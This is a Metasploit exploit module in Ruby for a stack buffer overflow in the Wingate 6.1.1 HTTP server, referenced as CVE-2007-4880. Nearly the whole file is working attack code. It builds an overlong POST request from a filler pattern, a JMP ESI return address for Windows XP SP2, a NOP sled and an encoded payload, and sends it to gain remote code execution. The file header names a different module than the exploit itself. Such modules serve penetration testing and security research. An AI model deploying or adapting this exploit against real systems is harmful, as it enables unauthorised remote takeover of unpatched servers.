##
# $Id: ibm_tsm_cad.rb 4498 2007-03-01 08:21:36Z mmiller $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Wingate 6.1.1 POST buffer Overflow',
			'Description'    => %q{This module exploits a stack overflow in the Wingate HTTP server. By Sending ending an overly long POST request, it may be possible for an attacker to execute arbitrary code.},
			'Author'         => [ 'muts' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 4498 $',
			'References'     =>
				[
					[ 'CVE', '2007-4880' ],
					[ 'BID', '25743' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					[ 'JMP ESI  - XP SP2', { 'Ret' => 0x71ab746a } ], # dbghelp.dll
				],
			'DefaultTarget'  => 0,			
			'DisclosureDate' => 'Sept 24 2007'))
			register_options( [ Opt::RPORT(80) ], self.class )
	end

	def exploit
		connect
		buff = rand_text_alphanumeric(2000)
		buff << "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSAAAAUUUUVVVVWWWWXXXXYYYYZZZZ"
		buff << "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSBBBBUUUUVVVVWWWWXXXXYYYYZZZZ"
		buff << "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
		buff << [target.ret].pack('V')
		buff << "UUUUVVVVWWWWXXXXYYYYZZZZ"
		buff << "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSDDDDUUUUVVVVWWWWXXXXYYYYZZZZ"
		buff << "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSEEEEUUUUVVVVWWWWXXXXYYYYZZZZ"
		buff << make_nops(100)
		buff <<  payload.encoded

		sploit =  "POST http://" + buff +"/ HTTP/1.0"
		print_status("Trying target %s..." % target.name)
		sock.put(sploit + "\r\n\r\n")
		
		handler
		disconnect
	end

end

